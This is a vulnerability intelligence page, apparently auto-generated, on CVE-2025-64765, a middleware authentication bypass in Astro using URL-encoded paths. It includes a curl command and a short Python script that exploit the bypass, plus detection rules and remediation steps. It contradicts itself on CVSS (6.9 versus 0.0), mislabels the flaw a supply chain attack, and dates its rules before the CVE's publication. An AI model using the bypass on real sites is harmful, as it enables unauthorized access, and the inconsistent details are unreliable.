☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Astro logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64765

CVE-2025-64765 Supply Chain Attack in Astro
📅 PUBLISHED: 2025-11-19 16:41 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.51%
👁️
0.51% probability
12.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64765 is a path normalization bypass vulnerability in the Astro web framework, affecting versions prior to 5.15.8. The flaw arises from a discrepancy between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Specifically, Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization. This mismatch allows attackers to reach protected routes using encoded path variants that pass routing but bypass validation checks. The vulnerability has been patched in version 5.15.8.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Astro is distributed via the npm registry. Organizations using Astro should verify their dependency tree for any pinned versions below 5.15.8. The package is widely used in modern web applications, and a supply chain compromise could lead to widespread exploitation. Ensure that your package.json and lock files are updated to the patched version.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, likely due to incomplete scoring data. However, based on the technical details, the vulnerability is assessed as follows:

  • Attack Vector (AV): Network (N) – The attack can be carried out remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Attackers can access protected routes and potentially sensitive data.
  • Integrity (I): High (H) – Attackers may be able to modify data or perform unauthorized actions.
  • Availability (A): Low (L) – The vulnerability primarily affects confidentiality and integrity.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Threat Level: High – The vulnerability allows bypassing access controls with low complexity and no privileges.

Deep Dive & Mechanics

The core issue is a path normalization mismatch. Astro’s routing engine applies decodeURI() to incoming request paths to determine the correct route. This means that encoded characters (e.g., %2F for /, %2E for .) are decoded before route matching. However, when middleware performs validation checks (e.g., authentication, authorization), it reads the path from context.url.pathname without applying the same decodeURI() normalization.

Example Attack Scenario:

  1. A protected route is defined as /admin/dashboard.
  2. The middleware checks if the path starts with /admin to enforce authentication.
  3. An attacker sends a request to /%61dmin/dashboard (where %61 is the hex encoding for a).
  4. Astro’s routing engine decodes %61 to a, matching the route /admin/dashboard.
  5. The middleware, however, sees the raw path /%61dmin/dashboard and does not recognize it as starting with /admin, thus bypassing the authentication check.

This discrepancy allows attackers to access protected resources by encoding parts of the path.

Vulnerable vs. Patched Code

Vulnerable Code (Astro < 5.15.8):

// In the routing engine (simplified)
function matchRoute(requestPath) {
  const decodedPath = decodeURI(requestPath);
  // Match against routes using decoded path
  return routes.find(route => route.pattern.test(decodedPath));
}

// In middleware (simplified)
function authMiddleware(context, next) {
  const rawPath = context.url.pathname; // No decodeURI applied
  if (rawPath.startsWith('/admin')) {
    // Check authentication
  }
  return next();
}

Patched Code (Astro >= 5.15.8):

// In middleware (patched)
function authMiddleware(context, next) {
  const normalizedPath = decodeURI(context.url.pathname); // Apply decodeURI
  if (normalizedPath.startsWith('/admin')) {
    // Check authentication
  }
  return next();
}

The patch ensures that the middleware applies the same decodeURI() normalization as the routing engine, eliminating the bypass vector.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A vulnerable Astro application (version < 5.15.8) with a protected route (e.g., /admin/dashboard).
  • Network access to the application.

Exploitation Steps:

  1. Identify a protected route, e.g., /admin/dashboard.
  2. Encode part of the path using URL encoding. For example, encode the first character of admin:
    • /%61dmin/dashboard (where %61 is a)
  3. Send a GET request to the encoded path:
    curl -v "http://target.com/%61dmin/dashboard"
    
  4. Observe that the request is routed to the protected route but bypasses middleware authentication.

Automated Exploitation (Python):

import requests

target = "http://target.com"
protected_path = "/admin/dashboard"
encoded_path = "/%61dmin/dashboard"

response = requests.get(target + encoded_path)
if response.status_code == 200:
    print("Bypass successful! Protected content accessed.")
else:
    print("Bypass failed.")

Blue Team (Detection & Defense)

Detection:

  • Monitor for requests with URL-encoded characters in path segments, especially those targeting sensitive routes.
  • Look for anomalies in access logs where the decoded path matches a protected route but the raw path does not.

Defense:

  • Immediately upgrade to Astro version 5.15.8 or later.
  • Implement additional input validation in middleware to normalize paths before checks.
  • Use a Web Application Firewall (WAF) to block requests with suspicious encoding patterns.

Indicators of Compromise (IOCs)

  • URL Patterns: Requests containing %2F, %2E, %61, or other hex-encoded characters in path segments targeting protected routes.
  • Access Logs: Entries where the raw path does not match a protected route pattern but the decoded path does.
  • HTTP Status Codes: Unexpected 200 responses for requests to encoded paths that should return 401 or 403.

Detection Engineering

YARA Rule

rule CVE_2025_64765_Astro_Path_Bypass {
    meta:
        description = "Detects attempts to exploit CVE-2025-64765 in Astro framework"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-64765"
    strings:
        $encoded_path = /\/%[0-9a-fA-F]{2}[a-zA-Z0-9\/\-_.~%]+/
        $protected_route = /\/admin|\/dashboard|\/config|\/api/
    condition:
        $encoded_path and $protected_route
}

Sigma Rule

title: CVE-2025-64765 Astro Path Normalization Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with URL-encoded paths targeting protected routes in Astro applications.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - '%2F'
            - '%2E'
            - '%61'
            - '%2Fadmin'
            - '%2Fdashboard'
    condition: selection
falsepositives:
    - Legitimate use of encoded characters in URLs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64765 Astro Path Normalization Bypass"; flow:to_server,established; content:"%2F"; http_uri; content:"%2E"; http_uri; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Astro: Update to version 5.15.8 or later.
    npm install astro@latest
    
  2. Verify Deployment: Ensure all instances of the application are running the patched version.
  3. Review Middleware: If custom middleware is used, apply decodeURI() to context.url.pathname before validation.

Long-Term Mitigations:

  • Implement a Web Application Firewall (WAF) with rules to detect and block path encoding anomalies.
  • Conduct regular security audits of dependency versions.
  • Educate developers on path normalization best practices.

Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64765/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.